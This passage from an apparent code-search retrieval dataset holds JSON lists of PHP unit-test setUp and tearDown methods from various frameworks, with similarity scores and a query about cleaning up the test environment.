"protected function setUp()\n {\n parent::setUp();\n\n $this->checkExtension('phalcon');\n\n // Creating the application\n $this->bootstrap = new Bootstrap(self::getConfig());\n $this->app = $this->bootstrap->make($this->kernel());\n $this->app->boot();\n }",
"public function before()\n\t\t{\n\t\t\t$this->config\t\t= Kohana::$environment;\n\t\t}",
"public static function setUpBeforeClass() {\n global $app;\n\n Debug::enable();\n\n $app = new \\Silex\\Application();\n\n require 'config/test.php'; /* seperate config for the test db */\n require 'src/app.php';\n\n self::createSchema();\n\n $app['session.test'] = true;\n\n }",
"protected function setUp()\n {\n parent::setUp();\n\n $run = dirname(__FILE__) . '/_run';\n if (file_exists($run) === false) {\n mkdir($run, 0755);\n }\n\n $this->_clearRunResources($run);\n\n include_once 'PHP/Depend.php';\n include_once 'PHP/Depend/StorageRegistry.php';\n include_once 'PHP/Depend/Storage/MemoryEngine.php';\n\n PHP_Depend_StorageRegistry::set(\n PHP_Depend::TOKEN_STORAGE,\n new PHP_Depend_Storage_MemoryEngine()\n );\n PHP_Depend_StorageRegistry::set(\n PHP_Depend::PARSER_STORAGE,\n new PHP_Depend_Storage_MemoryEngine()\n );\n\n if (defined('STDERR') === false) {\n define('STDERR', fopen('php://stderr', true));\n }\n }",
"public function setup_environment() {\n\n define( 'IWJ_TEMPLATE_PATH', $this->template_path() );\n\n //$this->add_thumbnail_support();\n //$this->add_image_sizes();\n }",
"protected function setup(): void\n {\n $kernel = self::bootKernel();\n $application = new Application($kernel);\n\n // get entity manager\n $this->em = $kernel->getContainer()->get('doctrine')->getManager();\n\n // get serializer\n $this->serializer = $kernel->getContainer()->get('serializer');\n\n // init command\n $application->add(\n new ImportCommand(\n $this->em,\n $this->serializer\n )\n );\n\n $command = $application->find('app:import');\n $this->commandTester = new CommandTester($command);\n }",
"protected function doSetup(): void\n {\n }",
"protected function setUp() {\n parent::setUp();\n Monkey\\setUp();\n }",
"public function preTesting() {}",
"protected function setUp() {\n $this->stack = new Stack();\n }",
"function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// i18n needs to be set to the defaults or tests fail\n\t\ti18n::set_locale(i18n::default_locale());\n\t\ti18n::set_date_format(null);\n\t\ti18n::set_time_format(null);\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\t\t\n\t\tif(class_exists('RootURLController')) RootURLController::reset();\n\t\tif(class_exists('Translatable')) Translatable::reset();\n\t\tVersioned::reset();\n\t\tDataObject::reset();\n\t\tif(class_exists('SiteTree')) SiteTree::reset();\n\t\tHierarchy::reset();\n\t\tif(Controller::has_curr()) Controller::curr()->setSession(new Session(array()));\n\t\t\n\t\t$this->originalTheme = SSViewer::current_theme();\n\t\t\n\t\tif(class_exists('SiteTree')) {\n\t\t\t// Save nested_urls state, so we can restore it later\n\t\t\t$this->originalNestedURLsState = SiteTree::nested_urls();\n\t\t}\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t$prefix = defined('SS_DATABASE_PREFIX') ? SS_DATABASE_PREFIX : 'ss_';\n\n\t\t// Set up fixture\n\t\tif($fixtureFile || $this->usesDatabase || !self::using_temp_db()) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(), 0, strlen($prefix) + 5) != strtolower(sprintf('%stmpdb', $prefix))) {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\tsingleton('DataObject')->flushCache();\n\t\t\t\n\t\t\tself::empty_temp_db();\n\t\t\t\n\t\t\tforeach($this->requireDefaultRecordsFrom as $className) {\n\t\t\t\t$instance = singleton($className);\n\t\t\t\tif (method_exists($instance, 'requireDefaultRecords')) $instance->requireDefaultRecords();\n\t\t\t\tif (method_exists($instance, 'augmentDefaultRecords')) $instance->augmentDefaultRecords();\n\t\t\t}\n\n\t\t\tif($fixtureFile) {\n\t\t\t\t$pathForClass = $this->getCurrentAbsolutePath();\n\t\t\t\t$fixtureFiles = (is_array($fixtureFile)) ? $fixtureFile : array($fixtureFile);\n\n\t\t\t\t$i = 0;\n\t\t\t\tforeach($fixtureFiles as $fixtureFilePath) {\n\t\t\t\t\t// Support fixture paths relative to the test class, rather than relative to webroot\n\t\t\t\t\t// String checking is faster than file_exists() calls.\n\t\t\t\t\t$isRelativeToFile = (strpos('/', $fixtureFilePath) === false || preg_match('/^\\.\\./', $fixtureFilePath));\n\t\t\t\t\tif($isRelativeToFile) {\n\t\t\t\t\t\t$resolvedPath = realpath($pathForClass . '/' . $fixtureFilePath);\n\t\t\t\t\t\tif($resolvedPath) $fixtureFilePath = $resolvedPath;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$fixture = new YamlFixture($fixtureFilePath);\n\t\t\t\t\t$fixture->saveIntoDatabase();\n\t\t\t\t\t$this->fixtures[] = $fixture;\n\n\t\t\t\t\t// backwards compatibility: Load first fixture into $this->fixture\n\t\t\t\t\tif($i == 0) $this->fixture = $fixture;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->logInWithPermission(\"ADMIN\");\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t\tEmail::send_all_emails_to(null);\n\t\t\n\t\t// Preserve memory settings\n\t\t$this->originalMemoryLimit = ini_get('memory_limit');\n\t}",
"protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }",
"protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }",
"public function setUp()\n {\n $this->bootstrap = new Zend_Application(\n APPLICATION_ENV,\n APPLICATION_PATH . '/configs/application.ini'\n );\n parent::setUp();\n }",
"public function setUp()\n {\n require_once 'Zend/Application.php';\n\n // Create application, bootstrap, and run\n $application = new \\Zend_Application(\n APPLICATION_ENV,\n GEMS_ROOT_DIR . '/configs/application.example.ini'\n );\n\n $this->bootstrap = $application;\n\n parent::setUp();\n }",
"function initializer() {\n init_env();\n }",
"public function setup()\n {\n $this->app = new Application(BASE_PATH, Environment::testing());\n\n // Create a test double for our User entity\n $user = m::mock('OpenCFP\\Domain]Entity\\User');\n $user->shouldReceive('hasPermission')->with('admin')->andReturn(1);\n $user->shouldReceive('getId')->andReturn(1);\n $user->shouldReceive('hasAccess')->with('admin')->andReturn(true);\n\n // Create a test double for our Sentry object\n $sentry = m::mock('Cartalyst\\Sentry\\Sentry');\n $sentry->shouldReceive('check')->andReturn(true);\n $sentry->shouldReceive('getUser')->andReturn($user);\n $this->app['sentry'] = $sentry;\n $this->app['user'] = $user;\n }",
"#[Before]\n public function setUp() {\n $this->environment= new Environment([\n 'http_proxy' => null,\n 'HTTP_PROXY' => null,\n 'https_proxy' => null,\n 'HTTPS_PROXY' => null,\n 'no_proxy' => null,\n 'NO_PROXY' => null,\n 'all_proxy' => null,\n 'ALL_PROXY' => null\n ]);\n }",
"protected function setUp(): void\n {\n $this->request = new CreateDomain();\n }",
"public function setUp()\n {\n if ( ! $this->app)\n {\n $this->refreshApplication();\n }\n }",
"protected function setUp()\n {\n Kohana::config('database')->default = Kohana::config('database')\n ->unit_testing;\n Auth::instance()->login(TEST_USERNAME, TEST_PASSWORD);\n\n // Index data and start up the search daemon\n exec('indexer --all --config ' . SPHINX_CONF);\n exec('searchd --config ' . SPHINX_CONF);\n }",
"protected function SetUp(): void\n {\n parent::setUp();\n $user = factory(User::class)->create();\n $this->be($user);\n }",
"public static function setupBeforeClass()\n\t// @codingStandardsIgnoreEnd\n\t{\n\t\tself::$old_modules = Kohana::modules();\n\n\t\t$new_modules = self::$old_modules+[\n\t\t\t'test_views' => realpath(dirname(__FILE__).'/../test_data/')\n\t\t];\n\t\tKohana::modules($new_modules);\n\t}",
"public function setUp(): void\n {\n // https://docs.aws.amazon.com/sdk-for-php/v3/developer-guide/guide_credentials_environment.html\n putenv('AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE');\n putenv('AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY');\n }",
"protected function setUp() {\n\n $this->client = new Client(['base_uri' => getenv('API_ADDR')]);\n $this->locIDs = $this->insertTestLocations();\n reuse_generateXML();\n }",
"protected function setUp(): void\n\t{\n\t\t$this->object = new SmartyAdapter;\n\t}",
"private function setup()\n {\n $home = getenv('PHLEXGET_HOME');\n $cacheDir = getenv('PHLEXGET_CACHE_DIR');\n if (!$home) {\n if (defined('PHP_WINDOWS_VERSION_MAJOR')) {\n $home = strtr(getenv('APPDATA'), '\\\\', '/') . '/Phlexget';\n } else {\n $home = rtrim(getenv('HOME'), '/') . '/.phlexget';\n }\n }\n if (!$cacheDir) {\n if (defined('PHP_WINDOWS_VERSION_MAJOR')) {\n if ($cacheDir = getenv('LOCALAPPDATA')) {\n $cacheDir .= '/Phlexget';\n } else {\n $cacheDir = getenv('APPDATA') . '/Phlexget/cache';\n }\n $cacheDir = strtr($cacheDir, '\\\\', '/');\n } else {\n $cacheDir = $home.'/cache';\n }\n }\n\n // Protect directory against web access. Since HOME could be\n // the www-data's user home and be web-accessible it is a\n // potential security risk\n foreach (array($home, $cacheDir) as $dir) {\n if (!file_exists($dir . '/.htaccess')) {\n if (!is_dir($dir)) {\n @mkdir($dir, 0777, true);\n }\n @file_put_contents($dir . '/.htaccess', 'Deny from all');\n }\n }\n\n $this->homeDir = $home;\n $this->cacheDir = $cacheDir;\n }",
"public function setUp()\n\t{\n\t\t$this->prepare_tables(\n\t\t\t'Model_User', \n\t\t\t'Model_Role', \n\t\t\t'Model_Roles_Users', \n\t\t\t'Model_User_Token'\n\t\t\t);\n\t}",
"public function setUp(): void\n {\n parent::setUp();\n $this->setupTestDatabase();\n\n if ($this->usingInMemoryDatabase()) {\n\n // Setup database, then setup User & default role\n $this->refreshDatabase();\n $this->setupUser();\n } elseif (!static::$initialized) {\n\n // Only refresh db once\n $this->refreshDatabase();\n static::$initialized = true;\n }\n }",
"protected function setUp(): void\n {\n parent::setUp();\n\n $this->setUpToolsAliases(true);\n $this->setUpToolsModels();\n $this->setUpToolsDB();\n }",
"private function setupApplicationEnvironment(){\n\n // TODO: MAKE MORE EFFICENT WITH CACHING\n if($this->version == null)\n $this->version = env('PAYPAL_VERSION', 'dev-2.0-beta');\n\n if($this->endpoint == null)\n $this->endpoint = env('PAYPAL_ENDPOINT');\n \n if($this->username == null)\n $this->username = env('PAYPAL_USERNAME');\n\n if($this->password == null)\n $this->password = env('PAYPAL_PASSWORD');\n\n if($this->signature == null)\n $this->signature = env('PAYPAL_SIGNATURE');\n\n if($this->isDirect == null)\n $this->isDirect = env('PAYPAL_DIRECT', true);\n\n if($this->payment_method == null) \n $this->payment_method = ($this->isDirect) ? Objects::CREDIT_CARD : env('PAYMENT_METHOD');\n\n // Set our enviornment based on production or development\n $this->environment = (!$this->isDevelopment) ? new ProductionEnvironment() : new SandboxEnvironment();\n\n $this->client = new PayPalHttpClient($this->environment);\n\n }",
"protected function setUp(): void\n {\n $this->container = new Container();\n }",
"public function init()\n {\n $this->setEnv();\n }",
"public final function setUp() {\n\t\t// run the default setUp() method first\n\t\tparent::setUp();\n\t}",
"public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}",
"public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}",
"public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}",
"public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}",
"public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}",
"public function setUp()\n {\n $this->fs = new Filesystem();\n $this->cacheDir = __DIR__ . '/cache';\n if ($this->fs->exists($this->cacheDir)) {\n $this->fs->remove($this->cacheDir);\n }\n\n $this->cache = new ConfigFileScriptCache($this->cacheDir, true);\n }",
"public function setUp(): void\n\t{\n\t\t$this->auth = new Arifrh\\Auth\\Auth();\n\t\t$this->auth->testMode();\n\t}",
"public function setUp() : void\n {\n Config::setCategory('paths', [\n 'configs' => realpath(__DIR__ . '/../../configs'),\n 'root' => realpath(__DIR__ . '/../../../../../..'),\n 'src' => realpath(__DIR__ . '/../../../../../../src')\n ]);\n // Purposely set this to a weird value so we can test that it gets overwritten with the \"test\" environment\n $this->environment = new Environment();\n $this->container = new Container();\n $this->container->bindInstance(Environment::class, $this->environment);\n $this->container->bindInstance(BootstrapperCache::class, $this->createMock(BootstrapperCache::class));\n $this->container->bindInstance(RouteCache::class, $this->createMock(RouteCache::class));\n $this->container->bindInstance(ViewCache::class, $this->createMock(ViewCache::class));\n $this->container->bindInstance(IMigrator::class, $this->createMock(IMigrator::class));\n $this->container->bindInstance(FixMigrationsCommand::class, $this->createMock(FixMigrationsCommand::class));\n $this->container->bindInstance(IContainer::class, $this->container);\n\n // Setup the bootstrappers\n $bootstrapperRegistry = new BootstrapperRegistry();\n $bootstrapperDispatcher = new BootstrapperDispatcher(\n $this->container,\n $bootstrapperRegistry,\n new BootstrapperResolver()\n );\n $bootstrapperRegistry->registerEagerBootstrapper(self::$bootstrappers);\n $bootstrapperDispatcher->dispatch(false);\n\n parent::setUp();\n }",
"public function setUp()\n {\n\n $this->XMLtools = GeneralUtility::makeInstance(XmlTools::class);\n }",
"protected function setUp(): void\n {\n if (!$this->slim) {\n $this->refreshApplication();\n }\n\n Facade::clearResolvedInstances();\n }",
"function setUp() {\n\t\t\n\t}",
"function setUp() {\n\t\t\n\t}",
"protected function setUp(): void\n {\n\n parent::setUp();\n\n // Code after application created.\n $this->withoutExceptionHandling();\n }",
"protected function setUp(): void {\n\t\trequire_once( dirname( __FILE__ ) . '/../vendor/aliasapi/frame/client/create_client.php' );\n\t\trequire_once( dirname( __FILE__ ) . '/TestHelpers.php' );\n\t\trequire_once( dirname( __FILE__ ) . '/TestParameters.php' );\n\n\t\tTestHelpers::prepareDatabaseConfigs();\n\t\tClient\\create_client( 'money' );\n\n\t\t$this->http_client = new GuzzleHttp\\Client( [ 'base_uri' => 'http://money/' ] );\n\t\t$this->process_tag = 'refund_purchase_from';\n\t\t$this->tag = 'refund_purchase_to';\n\t}",
"protected function setUp(): void\n {\n parent::setUp();\n\n $this->setUpToolsAliases(true);\n $this->setUpToolsRoutes();\n $this->setUpToolsModels();\n }",
"protected function setUp()\n {\n parent::setUp();\n $this->prepareContextApiMock();\n }",
"protected function setup() {\n $this->state[\"user\"] = $this->env->get_test_user();\n $this->env->log_user_in($this->state[\"user\"]->username);\n $this->state[\"fields\"] = array(\n \"token\" => str_repeat(\"0\", 64),\n \"uuid\" => str_repeat(\"0\", 36)\n );\n }",
"public final function setUp() {\n\t\t//run the default setUp() method first\n\t\tparent::setUp();\n\t}",
"protected function setUp(): void\n {\n parent::setUp();\n\n $this->setPaths();\n\n $this->files = new Filesystem();\n\n if (!is_dir(env_path())) {\n mkdir(env_path());\n }\n\n copy(__DIR__ . '/../.env.example',env_path('.env'));\n\n $this->artisan('vendor:publish',['--provider' => 'Gecche\\Multidomain\\Foundation\\Providers\\DomainConsoleServiceProvider']);\n\n\n }",
"public function setup() {}",
"public static function setUpBeforeClass(): void\n {\n // boot kernel, so we have access to self::$kernel\n self::bootKernel();\n }",
"private function _initEnvironment()\n {\n App_Utf8::clean_globals();\n App_Input::instance();\n ini_set('log_errors', true);\n if('development' === APPLICATION_ENV){\n ini_set('display_errors', true);\n error_reporting(E_ALL | E_STRICT);\n }\n else{\n ini_set('display_errors', false);\n error_reporting(E_COMPILE_ERROR | E_RECOVERABLE_ERROR | E_ERROR | E_CORE_ERROR);\n }\n umask(0);\n }",
"function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t\n\t\t// Set up fixture\n\t\tif($fixtureFile) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(),0,5) != 'tmpdb') {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\t// This code is a bit misplaced; we want some way of the whole session being reinitialised...\n\t\t\tVersioned::reading_stage(null);\n\n\t\t\tsingleton('DataObject')->flushCache();\n\n\t\t\t$dbadmin = new DatabaseAdmin();\n\t\t\t$dbadmin->clearAllData();\n\t\t\t\n\t\t\t// We have to disable validation while we import the fixtures, as the order in\n\t\t\t// which they are imported doesnt guarantee valid relations until after the\n\t\t\t// import is complete.\n\t\t\t$validationenabled = DataObject::get_validation_enabled();\n\t\t\tDataObject::set_validation_enabled(false);\n\t\t\t$this->fixture = new YamlFixture($fixtureFile);\n\t\t\t$this->fixture->saveIntoDatabase();\n\t\t\tDataObject::set_validation_enabled($validationenabled);\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t}",
"protected function setUp(): void\n {\n // store current error_reporting value as we may change it\n // in a test\n $this->currentErrorReporting = error_reporting();\n $this->statement = new Statement();\n }",
"public function setUp()\n\t{\n\t\tparent::setUp();\n\n\t\t$this->user = \\Orchestra\\Model\\User::find(1);\n\t\t$this->stub = \\Orchestra\\Memory::make('user');\n\t}",
"public function setUp()\n {\n $_SERVER['REQUEST_URI'] = 'testing';\n $_SERVER['HTTP_REFERER'] = 'https://beta.gac.edu/billy/concert/newPage.php?concert=edit';\n TestBase::$pdo = $this->getDBH();\n\n\n if (!is_dir(self::$testFileDir . 'drafts')) {\n mkdir(self::$testFileDir . 'drafts');\n }\n if (!is_dir(self::$testFileDir . 'staged')) {\n mkdir(self::$testFileDir . 'staged');\n }\n if (!is_dir(self::$testFileDir . 'editableDrafts')) {\n mkdir(self::$testFileDir . 'editableDrafts');\n }\n parent::setUp();\n }"
] | [
"0.82813984",
"0.74528134",
"0.7089828",
"0.70875514",
"0.70170575",
"0.6992361",
"0.69501555",
"0.69016063",
"0.68578815",
"0.68517196",
"0.67532045",
"0.6745241",
"0.66899645",
"0.66775244",
"0.66723675",
"0.66720474",
"0.66672695",
"0.6664573",
"0.66530484",
"0.6621275",
"0.66052294",
"0.6586838",
"0.6569927",
"0.6564797",
"0.65580237",
"0.6549625",
"0.6537021",
"0.6533253",
"0.6523322",
"0.6517705",
"0.6516456",
"0.6516456",
"0.65087736",
"0.65087736",
"0.6503033",
"0.6499309",
"0.6494563",
"0.64781415",
"0.64701045",
"0.64662117",
"0.64657897",
"0.64611566",
"0.64486873",
"0.6448322",
"0.6445888",
"0.6434634",
"0.6411992",
"0.64073044",
"0.6399699",
"0.6392837",
"0.63891983",
"0.63878137",
"0.63824016",
"0.63824016",
"0.63777095",
"0.6377384",
"0.6368583",
"0.63553196",
"0.6354186",
"0.63517594",
"0.6349203",
"0.633755",
"0.6335843",
"0.63342345",
"0.63243425",
"0.6323792",
"0.6319844",
"0.63151294",
"0.6313283",
"0.6312168",
"0.63091224",
"0.63077986",
"0.63036865",
"0.62940365",
"0.62847257",
"0.62820375",
"0.62820375",
"0.62820375",
"0.62820375",
"0.62820375",
"0.6281775",
"0.62817514",
"0.62791175",
"0.62747574",
"0.62742716",
"0.6271401",
"0.6271401",
"0.62703717",
"0.62697256",
"0.62681496",
"0.6267704",
"0.6265818",
"0.626359",
"0.62584144",
"0.6257126",
"0.62564975",
"0.62553483",
"0.6250126",
"0.625009",
"0.6250073",
"0.62484694"
] | 0.0 | -1 |
Cleans up the environment after running a test. | protected function tearDown()
{
// TODO Auto-generated ServiceLoaderTest::tearDown()
$this->serviceLoader = null;
parent::tearDown();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function tearDown(): void\n {\n unset($_SERVER['foo'], $_ENV['foo']);\n }",
"public function tearDown(): void\n {\n self::$environ->cleanupTestUploadFiles();\n self::$environ->clean();\n }",
"protected function tearDown(): void\n {\n $this->config = null;\n $this->container = null;\n $this->instance = null;\n }",
"public function tearDown()\n {\n $this->flushModelEventListeners();\n parent::tearDown();\n unset($this->app);\n\n /*\n * Restore environment\n */\n if (file_exists(base_path($this->envTestingFile())) && file_exists(base_path('.env.backup'))) {\n $this->restoreEnvironment();\n }\n }",
"public function tearDown()\n {\n $this->app = null;\n }",
"public function tearDown(): void {\n // Remove any temporary directories that were created.\n $filesystem = new Filesystem();\n foreach ($this->tmpDirs as $dir) {\n $filesystem->remove($dir);\n }\n // Clear out variables from the previous pass.\n $this->tmpDirs = [];\n $this->io = NULL;\n // Clear the composer cache dir, if it was set\n putenv('COMPOSER_CACHE_DIR=');\n }",
"protected function tearDown(): void {\n unset($this->integration);\n unset($this->ccm);\n unset($this->session);\n }",
"protected function tearDown(): void\n\t{\n\t\tglobal $modSettings;\n\n\t\t// remove temporary test data\n\t\tunset($modSettings);\n\t}",
"public function tearDown()\n {\n unset($this->psrContextFactory);\n }",
"protected function tearDown()\n {\n exec('rm -rf '.$this->testDir);\n chdir(__DIR__);\n }",
"protected function tearDown()\n {\n exec('rm -rf '.$this->testDir);\n chdir(__DIR__);\n }",
"public function tearDown()\n {\n unset($this->_standardLib);\n unset($this->_daughter);\n }",
"function __destruct() {\n if ($this->testDir) {\n $this->eraseTempDir();\n }\n $this->unsetMockSession();\n }",
"protected function tearDown() {\n $this->stack = null;\n }",
"protected function tearDown(): void\n {\n $this->tearDownTheTestEnvironment();\n }",
"public function tearDown() {\n $this->container = null;\n $this->model = null;\n $this->request = null;\n $this->response = null;\n $this->responseHeaders = null;\n $this->responseWriter = null;\n }",
"public function tearDown(): void\n {\n parent::tearDown();\n unset($this->filesystem);\n unset($this->diskSpace);\n unset($this->commandTester);\n }",
"public function tearDown()\n {\n unset($this->db);\n unset($this->statement);\n unset($this->mockData);\n }",
"public function tearDown(): void\n {\n parent::tearDown();\n unset($this->purifier);\n unset($this->em);\n unset($this->objectiveManager);\n unset($this->learningMaterialManager);\n unset($this->courseLearningMaterialManager);\n unset($this->sessionLearningMaterialManager);\n unset($this->sessionDescriptionManager);\n unset($this->commandTester);\n }",
"protected function setUp()\n {\n parent::setUp();\n\n $this->cleanup();\n }",
"public function tearDown() {\n $this->container = null;\n }",
"protected function tearDown() {\n\t\t$this->Application = null;\n\t\tparent::tearDown ();\n\t}",
"public function tearDown() {\n\t\tif(is_dir('/tmp/clara')) {\n\t\t\t$this->rrmdir('/tmp/clara');\n\t\t}\n\t}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function cleanUp() {}",
"public function teardown()\n {\n //\n }",
"protected function tearDown(): void\n {\n $this->provider = null;\n $this->response = null;\n }",
"public function teardown()\n {\n }",
"protected function tearDown()\n {\n session_destroy(); //req'd because Kml class sets a cookie\n $this->clearRequest();\n $this->clearTmpFiles();\n }",
"public function tearDown()\n {\n parent::tearDown();\n\n if ((bool) getenv('CLEANUP_TEST_DOCKER_SECRETS')) {\n DockerSecretFile::cleanup();\n }\n }",
"public function tearDown()\n {\n $fs = new SymfonyFileSystem();\n $fs->remove($this->fakeTestFileDir);\n\n unset($this->builder);\n unset($this->builder);\n unset($this->fs);\n m::close();\n }",
"protected function tearDown()\n {\n \\RPI\\Foundation\\Helpers\\FileUtils::delTree(__DIR__.\"/LESSPHPTest/ROOT\");\n }",
"protected function tearDown()\n {\n if ($this->app) {\n foreach ($this->beforeApplicationDestroyedCallbacks as $callback) {\n call_user_func($callback);\n }\n }\n\n $this->setUpHasRun = false;\n\n if (property_exists($this, 'serverVariables')) {\n $this->serverVariables = [];\n }\n\n if (class_exists('Mockery')) {\n Mockery::close();\n }\n\n $this->afterApplicationCreatedCallbacks = [];\n $this->beforeApplicationDestroyedCallbacks = [];\n }",
"protected function tearDown()\n {\n self::delTree(__DIR__.'/playground');\n }",
"protected function tearDown()\n {\n $this->compilerPass = null;\n $this->container = null;\n parent::tearDown();\n }",
"protected function tearDown()\r\n {\r\n DirectoryManager::recursiveRemoveDir('data/tests');\r\n }",
"protected function tearDown()\n {\n $this->kernel->shutdown();\n $this->kernel = null;\n parent::tearDown();\n }",
"protected function tearDown() {\r\n\t\tunset ( $this->configReader );\r\n\t}",
"public function tearDown() {\n $this->command = null;\n }",
"protected function tearDown() {\n\n $this->client = null;\n $this->deleteTestLocations();\n $this->locIDs = null;\n reuse_generateXML();\n }",
"public function tearDown()\n {\n unset(\n $this->plugins,\n $this->events,\n $this->connection,\n $this->config\n );\n }",
"protected function tearDown()\n {\n $this->calculator = NULL;\n }",
"public function tearDown() {\n $this->resource = null;\n $this->response = null;\n $this->database = null;\n $this->storage = null;\n $this->event = null;\n $this->manager = null;\n }",
"public static function tearDownAfterClass()\n {\n if (null !== static::$kernel) {\n static::$kernel->shutdown();\n }\n }",
"public function tearDown(): void\n {\n parent::tearDown();\n\n Mockery::close();\n\n unset($this->faker, $this->waqi);\n }",
"public function tearDown()\n {\n unset($this->filterRepositoryMock);\n unset($this->notificationContextManagerMock);\n unset($this->notificationTranslatorMock);\n unset($this->filterManager);\n }",
"public static function tearDownAfterClass() {\n \t\tApp::build();\n \t}",
"protected function tearDown() {\n\t\tparent::tearDown();\n\n\t\t$this->cleanupTestDirectory();\n\t}",
"protected function tearDown(): void\n {\n Storage::disk('work_dir')->delete('containers');\n parent::tearDown();\n }",
"protected function tearDown()\n {\n Phlash::clear();\n }",
"public function tearDown() {\n\t\tFixtures::clear('db');\n\t\tGalleries::reset();\n\t\tImages::reset();\n\t}",
"public static function tearDown()\n {\n self::init();\n\n // Handle current_user placing on the end since there are some things\n // that need current user for the clean up\n if (isset(self::$registeredVars['current_user'])) {\n $cu = self::$registeredVars['current_user'];\n unset(self::$registeredVars['current_user']);\n self::$registeredVars['current_user'] = $cu;\n }\n\n // unregister variables in reverse order in order to have dependencies unregistered after dependants\n $unregisterVars = array_reverse(self::$registeredVars);\n foreach ($unregisterVars as $varName => $isCalled) {\n if ($isCalled) {\n unset(self::$registeredVars[$varName]);\n if (method_exists(__CLASS__, 'tearDown_' . $varName)) {\n call_user_func(__CLASS__ . '::tearDown_' . $varName, array());\n } elseif (isset($GLOBALS[$varName])) {\n unset($GLOBALS[$varName]);\n }\n }\n }\n\n // Restoring of system variables\n foreach (self::$initVars as $scope => $vars) {\n foreach ($vars as $name => $value) {\n $GLOBALS[$name] = $value;\n }\n }\n\n // Restore the activity stream.\n Activity::enable();\n\n // Restoring of theme\n SugarThemeRegistry::set(self::$systemVars['SugarThemeRegistry']->dirName);\n SugarCache::$isCacheReset = false;\n\n return true;\n }",
"public function tearDown()\n\t{\n\t\tunset($this->target);\n\t}",
"protected function tearDown() {\r\n\t\t$this->dbh = null;\r\n\t\t$this->storage = null;\r\n\t\tparent::tearDown ();\r\n\t}",
"protected function tearDown(): void {\n\t\t$this->http_client = null;\n\t\t$this->process_transactions = array();\n\n\t\tif ( ! empty( $this->transactions ) ) {\n\t\t\t$this->transactions = array();\n\n\t\t\tCrudTable\\delete_rows( 'transactions', $this->key_pairs, 100 );\n\n\t\t\t$this->key_pairs['tag'] = $this->tag;\n\t\t\tCrudTable\\delete_rows( 'transactions', $this->key_pairs, 100 );\n\n\t\t\tTestHelpers::removeJsonFile( $this->process_tag );\n\t\t\tTestHelpers::removeJsonFile( $this->tag );\n\t\t}\n\t}",
"public function cleanUp();",
"public function cleanUp();"
] | [
"0.7499918",
"0.7465399",
"0.7313867",
"0.7240087",
"0.72257245",
"0.72239214",
"0.71817493",
"0.71759856",
"0.7174705",
"0.71517044",
"0.71517044",
"0.715084",
"0.71412283",
"0.7115216",
"0.71096313",
"0.7072444",
"0.70685935",
"0.7056217",
"0.7027916",
"0.7005705",
"0.70002717",
"0.6995618",
"0.69926155",
"0.69753027",
"0.69753027",
"0.69753027",
"0.69753027",
"0.69753027",
"0.69753027",
